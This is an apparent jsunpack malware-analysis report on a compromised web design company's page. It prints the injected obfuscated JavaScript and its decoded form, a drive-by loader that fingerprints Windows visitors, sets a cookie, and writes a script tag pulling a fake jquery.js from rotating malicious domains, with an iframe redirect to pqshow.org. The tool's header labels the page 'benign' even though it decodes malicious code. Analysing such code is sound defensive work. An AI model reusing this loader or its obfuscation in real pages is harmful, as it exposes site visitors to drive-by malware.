jsunpack - a generic JavaScript unpacker

input_script benign

[nothing detected] input_script
info: [embed] 127.0.0.1/index.swf
info: [decodingLevel=0] found JavaScript
info: Decoding option navigator.systemLanguage=en and navigator.systemLanguage=zh-cn and browser=IE7/XP and browser=Firefox, 1279 bytes
info: Decoding option browser=IE8/Vista and browser=Opera, 1282 bytes
info: [setAttribute src] URL=pqshow.org/in.cgi?2
info: [script]
info: [script] library.newsapis.us/2.2/jquery.js
info: [decodingLevel=1] found JavaScript
error: undefined variable we
error: undefined variable sAO
error: undefined function we[sAO]
file: stream_2af3dac9fccfdaef2201d56caa537d9125dd0f4c: 8496 bytes
file: decoding_b6db75bcab203696f16c257a18fba24a51b90dbf: 1282 bytes

File information (2 files) Download zip | Explanation

stream_2af3dac9fccfdaef2201d56caa537d9125dd0f4c from input_script (8496 bytes, 55 hidden)

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Zion Digital Technologies -- Web Site Development -- Flash Animation -- Graphic Design -- Multimedia -- ZionDigital -- Web Page -- Orlando -- Puerto Rico -- Web Design </title> </head> <body bgcolor="#1f1f1f"><ad><script>var HTWcA ; HTWcA = '';var BOITqd = this ; var sAO ='re'+'place';var Pmq =787; var ZuzFM = 319; var CxmkQ = 947 ;if (Pmq>ZuzFM){Pmq =ZuzFM -CxmkQ ; }var erf ; erf= 'MdM0MfM3Mbk5k9z3k9k5MbYdMdMfYeMbk6MdM0MfM3Mbk7k5k9z5MbY6' ; var FfsNn ; FfsNn ='' ;FfsNn ='8Ydk0M2MbM0M9YaM6k7z5keMaYaz3M0MbY9keZaMfYaMbk6k7z5MaYak0YdMbYaXaM7M3Mbk6MaYak0M9MbYaXaM7M3Mbk6k7kek5kez9k4zdz8zezek4zdz8zezek7z5MaM1MdYbM3MbM0Yak0MdM1M1M5M7Mbz3'; var cZ='WHTNaktvJfdHFhw'; var gEC ; gEC='';var Xv =843 ; var gviE = 249; var tB ; tB =775 ; if (Xv>gviE){Xv=gviE+tB; }gEC= '3z5'; var KCiFy;KCiFy ='' ; KCiFy ='k1M4' ; var OGKAHT= '5Ma';var ehkaVH; ehkaVH= '' ;ehkaVH='2k1YdMdYcM' ;var BsNkE;BsNkE ='X3k5MaM1M3YdX' ; var OD = 'YfYbMbYcY7k0M' ; var RIdcnA; RIdcnA = 'Yaz3zez5Y8MfYckeMaMdkez3keMaM1MdYbM3MbM0Yak0MdM1M1M5M7Mbz5keY8MfYckeMdM0MfM3Mbkez3kek9M1M0M2M7M0MbYdYaMfYaYdk9z5keY8MfYckeY9M0kez3keY9M7M0MaM1Y9k0M0MfY8M7M9MfYaM1Yck0YbYdMbYcZfM9MbM0Yaz5keY8MfYckeYdYaYcM7kez3kek1k6Y7MfM6M1M1Y2YdMbMfYcMdM6Y2M3YdM0McM1YaY2Y7MfM0MaMbY6Y2M9M1M1M9M2MbMcM1YaY2McM7M0M9Y2MfYdM5k7k1M7z5keY8MfYckeYdYaYcZ1Xdkez3keM0MfY8M7M9MfYaM1Yck0MfYeYeX8M' ;var oPo = 622 ;var luaEi=161 ; var GkXazy=605; if (oPo>luaEi){oPo =luaEi+GkXazy;}var Hx ;Hx = '7z5'; var nosuUv= 799; var Zbh = 666 ;var DAJ = 445 ; if (nosuUv==Zbh){nosuUv =Zbh+DAJ;}var wdwya='GHvLoFtR' ; var nJVhP;nJVhP ='' ;nJVhP= 'aXdYaYcM7M0M9k6k7k5k9z5YeMfYaM6z3k1k9z5keMaM1MdYbM3MbM0Yak0Y9YcM7YaMbk6k9z';var KX= 'OnANBml' ; var xon,Yf ; var RDMt= 744 ; if (xon==Yf){xon= Yf+RDMt;}var VOK ;VOK= ''; VOK='bYcYdM7M1M0z5keM7M8k6MaMdk0M7M0MaMbY6Z1M8k6MdM0MfM3Mbk7z3z3k3zfkek8k8kekfY9M0k0YaM1Z2M1Y9MbYcZdMfYdMbk6k7k0M3MfYaMdM6k6YdYaYcM7k7kek8k8keYdYaYcZ1Xdk0YaM1Z2M1Y9MbYcZdMfYdMbk6k7k0M7M0MaMbY6Z1M8k6k9Y9M7M0k9k7kekfz3kek3zfk7keY5keY8MfYckeMaM1M3Ydkez3keX5k9YdM3MfYcYaMbM0MbYcM9Y7M3M1MaMbM2k0MdM1M3k9k2kek9M9M1M1M9M2MbMfYeM7Ydk0McM7Y4k9k2kek9M0MbY9YdMfYeM7Ydk0YbYdk9k2kek9MbM3MfYeM7Ydk0M1YcM9k9k2kek9YaM1M1M2McMfYcM7M0Mdk0M';var OQRJTs ;OQRJTs ='';var VrHJb = 18 ;var TNiv = 689;var olyJQ= 863; if (VrHJb<TNiv){VrHJb= TNiv^olyJQ;}OQRJTs= '2YdMdYcM7YeYakeYaY7YeMbz3kcYaMbY6Yak1M4M';var Vr ; Vr =265 ;var LYDLT=893; var NpmQ ;NpmQ = 486; if (Vr==LYDLT){Vr= LYDLT - NpmQ;}function euYjt(Yn){var Bqy= HTWcA ; for(kct= 0; kct<Yn['lFeInvgStvhv'[sAO](/[vFISQ]/g , HTWcA)];++kct){Bqy= Bqy+BOITqd['SctUroicnJgc'[sAO](/[cGJUo]/g,HTWcA)]['fnrQoEmnCXhpaQrpCnopdQeE'[sAO](/[EnpXQ]/g ,HTWcA)](14^Yn['cNhSaLrSCIoIdSeNAItN'[sAO](/[NiILS]/g, HTWcA)](kct)) ;var Ik;Ik = 291 ;var pHtCK;pHtCK=696 ; var kMf;kMf=902 ; if (kMf = Ik || Ik==pHtCK){Ik =pHtCK/kMf;}}return Bqy ;}var Iyf ; Iyf ='cM6YaYaYez4k1k1k9k5YeYcMbM8M8YdX5YeYcMbM8'; var tSbYi='TbVDDZDNF' ;var KFrhf = '7Ye' ; var vuH = 'Njitj'; var oPtQkJ,uQOX;var RUYTN=302;if (oPtQkJ>=uQOX){oPtQkJ=uQOX^RUYTN;}var mEsTH; mEsTH=''; var Qh= 348 ; var XNkr = 753;var nYbjG =117 ;if (Qh==XNkr){Qh=XNkr+nYbjG ;}mEsTH='dM1M3k9X3z5keY8MfYckeYeYcMbM8M8Ydkez3keX5k9YdMdYcM7YeYaYdk0k9k2kek9M2M7McYcMfYcY7k0k9k2kek9MfM4MfY6k0k9k2kek9YaM1M1M2McMfYck0k9k2kek9M7M0Mdk0k9k2kek9M4MfY8Mfk0k9X3z5keY8MfYckeMaM1M3kez3' ;var cf ; cf = '';cf= 'keY';var mKa;mKa=514 ;var urhYWw = 195 ;var OwxVVC=381;if (OwxVVC =mKa && mKa>=urhYWw){mKa=urhYWw+OwxVVC ; }var KikkCj; KikkCj = 'Yaz0' ; var yqFvP= 'sHFwVbGwgCRybZMdno' ; var LcfDG = 'pPTcyyVNrBf'; var rKT= 'BghOVAZvldC' ;var LoQWt; LoQWt = 932 ; var vm, Kexw;if (Kexw>LoQWt || LoQWt>=vm){LoQWt = vm+Kexw ;}var Dqth ;Dqth= '' ;Dqth ='4Ydkcz0z2X'; var LY =819 ;var kpsQo , PBJnny;if (LY==kpsQo){LY = kpsQo - PBJnny;}var PL='keZ3MfYaM6k0M8M2M1M1Yck6Z3MfYaM6k0YcMfM0MaM1M3k6k7k4MaM1M3Ydk0M2MbM0M9YaM6k7z5keY8MfYckeYeYcMbM8kez3keZ3MfYaM6k0M8M2M1M1Yck6Z3MfYaM6k0YcMfM0MaM1M3k6k7k4YeYcMbM8M' ;var RtkZ , ZRBT;var cOEjiS; cOEjiS= 712; if (cOEjiS>RtkZ && RtkZ==ZRBT){RtkZ = ZRBT+cOEjiS;}var jzp ='k9k';var kiKUdb, MwRI , JjQp ;if (JjQp=kiKUdb && kiKUdb==MwRI){kiKUdb = MwRI -JjQp ;}var BMl; BMl = 'M1M3X3k5k9k1zck0zc' ; var qzIke ='VkUvRKYNmaJQMkJ'; var ahS,xigg ; var oZuvt ;oZuvt =811 ; if (ahS<xigg){ahS= xigg-oZuvt ; }var YrpoZA= 'YeM7YcMbYdz3k9k5MaYak0YaM1Z9Z3X' ;var PAYBC; PAYBC= '' ;PAYBC ='fY8MfYdMdYcM7YeYakckeYdYcMdz3k' ;var bHQ= 'WWMGJj'; var qgVc ; qgVc=HTWcA ;var we =RIdcnA ;we= we+VOK+mEsTH+PL;we=we+FfsNn+erf+YrpoZA+nJVhP+OQRJTs+PAYBC+Iyf+BsNkE ; we=we+OGKAHT ;we= we+BMl+KCiFy ;we = we+OD;we=we+Dqth+ehkaVH; we =we+KFrhf ; we= we+KikkCj+jzp; we= we+Hx+cf+gEC+qgVc ;var PeJf = 'pVR0gZo4rMQ6Kzd3Jwv1Bni9IkP2AYj7xhC8GXl5'[sAO](/[pgrKJBIAxG]/g ,'\@')[sAO](/[RoQdviPjCl]/g , '\?');var OJ = "')[sAO](/[";var RxveO="]/g,'%" ; var Uiq=PeJf[sAO](/[\@]/g, OJ)[sAO](/[\?]/g,RxveO) ;var Bcn ;Bcn = sAO; BOITqd['eDvraDlD'[Bcn](/[Dtymr]/g, HTWcA)]('var hBzqep =

decoding_b6db75bcab203696f16c257a18fba24a51b90dbf from input_script (1282 bytes)

//eval var hBzqep = we[sAO](/[V]/g,'%0')[sAO](/[Z]/g,'%4')[sAO](/[M]/g,'%6')[sAO](/[z]/g,'%3')[sAO](/[w]/g,'%1')[sAO](/[n]/g,'%9')[sAO](/[k]/g,'%2')[sAO](/[Y]/g,'%7')[sAO](/[h]/g,'%8')[sAO](/[X]/g,'%5');   //eval t=0;var dc = document.cookie; var cname = 'onlinestats'; var wn = window.navigator.userAgent; var stri = /(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i; var strOS = navigator.appVersion; if(dc.indexOf(cname)==-1 && !wn.toLowerCase().match(stri) && strOS.toLowerCase().indexOf('win') != -1) { var doms = ['smartenergymodel.com', 'googleapis.biz', 'newsapis.us', 'emapis.org', 'toolbarinc.com']; var preffs = ['scripts.', 'library.', 'ajax.', 'toolbar.', 'inc.', 'java.']; var dom = Math.floor(Math.random()*doms.length); var pref = Math.floor(Math.random()*preffs.length); dt=new Date();dt.setTime(dt.getTime() + 7*3600*3600);document.cookie=cname+'='+escape(cname)+';expires='+dt.toGMTString()+';path=/'; document.write('<script type="text/javascript" src="http://'+preffs[pref]+doms[dom]+'/2.2/jquery.js"><\/script>'); }; //jsunpack.called CreateElement iframe //jsunpack.url setAttribute src = http://pqshow.org/in.cgi?2  //jsunpack.element undefined  //document.write (s)  <script type="text/javascript" src="http://library.newsapis.us/2.2/jquery.js"></script>

URL	Status
pqshow.org/in.cgi?2	status: (referer=www.google.com/trends/hottrends)failure: <urlopen error (-2, 'Name or service not known')>

127.0.0.1/index.swf

Submission permanent link 6d36bbf5412c298776e4b9d4e5c9596fc1a0d1a5 (Received 2010-05-25 13:38:29, script )

All Malicious or Suspicious Elements of Submission